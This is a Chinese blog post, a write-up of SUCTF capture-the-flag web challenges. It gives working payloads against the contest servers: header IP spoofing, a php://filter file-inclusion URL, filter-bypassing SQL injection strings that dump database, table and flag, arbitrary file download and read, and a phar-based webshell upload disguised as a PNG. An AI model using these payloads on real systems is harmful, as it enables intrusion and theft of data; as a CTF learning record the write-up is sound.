美文网首页
suctf-部分web题WP

suctf-部分web题WP

作者: ch3nie | 来源:发表于2019-04-03 15:55 被阅读0次

    title: suctf-部分web题WP
    date: 2018-11-14 09:57:29
    tags: [WP,ctf]


    web1-where are you from level1

    题目:where are you from?

    打开网址我们可以看到只有ip为127.0.0.1才能拿到flag

    only guest from 127.0.0.1 can get flag of level1 
    

    我们可以伪造ip,伪造ip的方法有XFF,x-client-ip。。。。。

    Client-Ip: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    Host: 127.0.0.1
    Referer: www.google.com
    
    mark
    SUCTF{X_F0rw4rd3d_F0r_7O_cHe4t_5eV3r}
    

    web2-include me

    题目:index!index!index!

    看题目就可以知道这道题是文件包含include,我们用php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输,我们把index文件包含进来,然后得到base64加密后的源码

    http://49.4.68.67:88/?lang=php://filter/read=convert.base64-encode/resource=index.php
    

    把base64加密后的源码进行解密,从源码中得到flag

    #base64加密后的数据
    
    PD9waHANCmlmKGlzc2V0KCRfR0VUWyJsYW5nIl0pKXsgIA0KICAgICRsYW5nPSRfR0VUWyJsYW5nIl07ICANCn1lbHNleyAgDQogICAgJGxhbmc9ImNuLnBocCI7ICANCn0gIA0KPz4gDQo8Zm9ybT4gIA0KPHNlbGVjdCBzdHlsZT0id2lkdGg6NjBweDsiIG5hbWU9ImxhbmciPiAgDQo8b3B0aW9uIHZhbHVlPSJjbi5waHAiPD9waHAgZWNobyAkbGFuZz09ImNuLnBocCI/InNlbGVjdGVkIjoiIjs/Pj5DaGluZXNlPC9vcHRpb24+ICANCjxvcHRpb24gdmFsdWU9ImVuLnBocCI8P3BocCBlY2hvICRsYW5nPT0iZW4ucGhwIj8ic2VsZWN0ZWQiOiIiOz8+PkVuZ2xpc2g8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImtyLnBocCI8P3BocCBlY2hvICRsYW5nPT0ia3IucGhwIj8ic2VsZWN0ZWQiOiIiOz8+Pg0KS29yZWFuPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJqcC5waHAiPD9waHAgZWNobyAkbGFuZz09ImpwLnBocCI/InNlbGVjdGVkIjoiIjs/Pj5KYXBhbmVzZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iZGUucGhwIjw/cGhwIGVjaG8gJGxhbmc9PSJkZS5waHAiPyJzZWxlY3RlZCI6IiI7Pz4+R2VybWFuPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJmci5waHAiPD9waHAgZWNobyAkbGFuZz09ImZyLnBocCI/InNlbGVjdGVkIjoiIjs/Pj5GcmVuY2g8L29wdGlvbj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJjaGFuZ2UgbGFuZ3VhZ2UiPiAgDQo8L2Zvcm0+IA0KPD9waHANCiRmbGFnPSJTVUNURntoYV9oYV9oYV95b3Vfd2lufSI7DQoJaW5jbHVkZSAkbGFuZzsNCj8+DQoNCg== 
    
    #base64解密后的数据
    <?php
    if(isset($_GET["lang"])){  
        $lang=$_GET["lang"];  
    }else{  
        $lang="cn.php";  
    }  
    ?> 
    <form>  
    <select style="width:60px;" name="lang">  
    <option value="cn.php"<?php echo $lang=="cn.php"?"selected":"";?>>Chinese</option>  
    <option value="en.php"<?php echo $lang=="en.php"?"selected":"";?>>English</option>
    <option value="kr.php"<?php echo $lang=="kr.php"?"selected":"";?>>
    Korean</option>
    <option value="jp.php"<?php echo $lang=="jp.php"?"selected":"";?>>Japanese</option>
    <option value="de.php"<?php echo $lang=="de.php"?"selected":"";?>>German</option>
    <option value="fr.php"<?php echo $lang=="fr.php"?"selected":"";?>>French</option>
    <input type="submit" value="change language">  
    </form> 
    <?php
    $flag="SUCTF{ha_ha_ha_you_win}";
        include $lang;
    ?>
    
    
    
    mark

    web3-where are you from level2

    题目:where are you from? this is level2,try to find vul.

    这个题还是先构造了client-ip之后发现只有leave1的flag,但是我们拿到了源码

    mark

    我们分析一下该题的源码

     <?php
    function getIp(){
        if(!empty($_SERVER['HTTP_CLIENT_IP'])){
            $cip=$_SERVER['HTTP_CLIENT_IP'];
        }
        elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $cip=$_SERVER['HTTP_X_FORWARDED_FOR'];
        }
        elseif(!empty($_SERVER['REMOTE_ADDR'])){
            $cip=$_SERVER['REMOTE_ADDR'];
        }
        else{
            $cip='';
        }
        $cip=preg_replace('/\s|select|from|limit|union|join/iU','',$cip);
        return $cip;
    }
     $query=$mysqli->query("insert into ip_records(ip,time) values ('$ip','$time')"); 
    

    client-ip注入,而且是加了过滤的注入,过滤是直接把关键字给替换成空,而且也没有循环匹配,所以我们可以用双写来绕过过滤。

    client-ip: 127.0.0.1',database())#
    

    我们得到了数据库的名字是demo2

    mark

    然后拿到表名flaaag,ip_records

    client-ip: 127.0.0.1',(selselectect/**/group_concat(table_name)/**/frfromom/**/information_schema.tables/**/where/**/table_schema='demo2'))#
    

    然后现在注出来字段名id,fl4g

    client-ip: 127.0.0.1',(selselectect/**/group_concat(column_name)/**/frfromom/**/information_schema.columns/**/where/**/table_name='flaaag'))#
    

    然后,嗯,就可以拿到flag了

    client-ip: 127.0.0.1',(selselectect/**/fl4g/**/frfromom/**/flaaag))#
    

    [图片上传失败...(image-8309b5-1554278148166)]

    web4-onepiece

    题目:onepiece是真实存在的

    进去之后只有一个界面,用了phpstorm,robots.txt没有

    phpstorm,我用了phpstorm
    

    试了一下发现存在文件泄露.idea目录泄露

    mark

    在workspace.xml文档里发现该网站有/index.php /UpL0ad.php还有/README.html

    mark

    看到/UpL0ad.php首先想到是文件上传的题,但是上传了一个文件试了试并没有什么用,然后看看README.html里面是一张图片,而且一个提示,有一个onepiece.zip的压缩包

    mark

    发现一个压缩包,这个题的名字也是onepiece,把压缩包载下来里面是一个php文件,源码是加过密的,同学昨天花钱解的密,我就没有解,源码如下

    <?php
    
    error_reporting(0)
    header("Content-Type: text/html;charset=utf-8")
    $flag = "**********";
    if(isset($_POST['file']))
    {
        $filename = $_POST['file'];
        echo $$filename;
    }
    ?>
    

    文件上传界面上传的参数就是file,传过去的存入变量filename,源码中我们知道只要让$$filename=flag,就可以输出flag,也就是filename=flag,也就是直接传入flag,flag存入$filename,就可以拿到flag

    mark

    web5-yunpan

    题目:heiheihei,how to hack this yunpan?

    昨天跑了一遍目录就去看电影了,回来接着做

    mark
    #/readme.txt
    嘤嘤嘤,我怎么可能直白的把flag.php上传到云盘呢,这下看你怎么拿到flag.php,嘤嘤嘤
    
    # /flag.php
    厉害啊,你竟然能找到这里,然而flag在哪里呢,hiahiahia!
    
    #/download.php
    Access Forbidden!
    小明:你这个大黑阔!就会欺负人,嘤嘤嘤QAQ
    

    但是就没有其他发现了,后来看源码的时候突然注意到我是不是可以直接下载flag.php呢

    mark

    然后我构造了下面这个下载链接,果然,把flag.php载下来了,而且flag就在里面

    http://49.4.68.67:90/download.php?file=ZmxhZy5waHA=
    
    mark mark

    web6-gallery

    题目:A Simple Gallery. Be careful about tips!

    随便上传一个文件抓包发现cookie里有个hint

    hint=cGxlYXNlIHJlYWQgcmVjZW50IHBhcGVycyBhYm91dCBwaGFy
    
    #base64解码得到
    please read recent papers about phar
    

    既然是phar那可能是远程文件包含了,可是我没有办法知道上传文件的路径,然后扫了一遍目录发现有两个可以正常访问的路径

    [11:14:28] 200 -    2KB - /index.php
    [11:14:28] 200 -    2KB - /index.php/login/
    
    mark

    然后我在/index.php/login/页面看了一下,发现在这个页面上传文件之后可以查看图像,从而知道路径,如下

    http://49.4.68.67:86/?act=get&pic=/var/www/html/sandbox/b1fde77fa365ca152d1639208fc19d3c/4a47a0db6e60853dedfcfdf08a5ca249.png
    

    然后发现查看图像这里还可以利用SSRF把index.php源码载下来了

    http://49.4.68.67:86/?act=get&pic=/var/www/html/index.php
    

    这里上传图片文件,而且提示我们可以用phar协议(当然zip伪协议,php协议等在做这类题时也是常用的)。然后我们现在写一个php的马,然后压缩成zip,在改为.png的后缀,上传之后访问该图片,利用phar协议包含一句话木马,这里。。。直接访问马就出现了加密过的flag,然后解密

    mark

    最后flag为

    SUCTF{phar_s3rial1ze_f4nt4s71C}
    

    就前面两天看了看题,后面就在忙其他的,有些做题记录没有存,而且后面的题就没看,所以只写了这部分

    相关文章

      网友评论

          本文标题:suctf-部分web题WP

          本文链接:https://www.haomeiwen.com/subject/zsezbqtx.html